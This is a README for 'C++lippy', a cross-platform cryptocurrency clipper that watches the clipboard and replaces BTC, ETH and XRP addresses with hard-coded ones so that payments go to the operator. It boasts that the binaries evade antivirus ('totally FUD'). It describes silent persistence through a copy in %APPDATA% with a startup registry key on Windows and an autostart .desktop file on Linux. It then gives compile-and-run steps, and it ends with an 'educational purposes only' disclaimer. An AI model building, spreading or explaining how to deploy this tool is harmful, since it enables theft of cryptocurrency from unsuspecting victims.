C++lippy is a Cross-Platform cryptocurrency clipper inspired by a old project I made years ago: Clippy!
It currently supports three popular cryptocurrencies(BTC,ETH and XRP), but others can be easily added.
- Automatically monitors clipboard content for cryptocurrency addresses.
- Modifies clipboard content to replace cryptocurrency addresses with default hard-coded values.
- Supports Bitcoin (BTC), Ethereum (ETH), and Ripple (XRP).
- Cross-platform, supporting Windows and Linux.
The output binaries, as the time of publishing, are totally FUD. They only get detected by a not-so-famous AV called Bkav Pro.
If not already installed, the application will install itself on Windows, ensuring it runs silently in the background.
During the installation the app will clone itself to %APPDATA%
and create a new registry key in HKEY_CURRENT_USER\\Software\\
.
The registry key
is used to execute the new binary at startup and detect if the installation has already been done or not.
If not already installed, the application will install itself on Linux.
It requires root (superuser) permissions for installation.
During the installation the app wil clone itself to /usr/local/bin
and creates a new .desktop
file inside $HOME/.config/autoplay/
.
It automatically tries to extract the $HOME of the user launching the script, avoiding trying to install it into /root
due to the sudo
permissions being required.
The .desktop
file is used to execute the new binary at startup and detect if the installation has already been done or not.
Clone the repository and edit the code to include your addresses and names for the registry keys, desktop files, etc.
Then compile the code using the provided build system.
Follow the platform-specific to build correctly:
REMEMBER TO SPECIFY STD >= C++17
# Compile and run the application on Windows
g++ -std=c++17 main.cpp -o clippy.exe -lole32 -lshell32 -luuid -mwindows
./clippy.exe
# Compile and run the application on Linux
g++ -std=c++17 main.cpp -o clippy
sudo ./clippy
The code published in this GitHub Repository must not be used with malicious intentions.
Proof-of-Concepts and tools are shared for educational purposes only;
any malicious use will not hold the author responsible.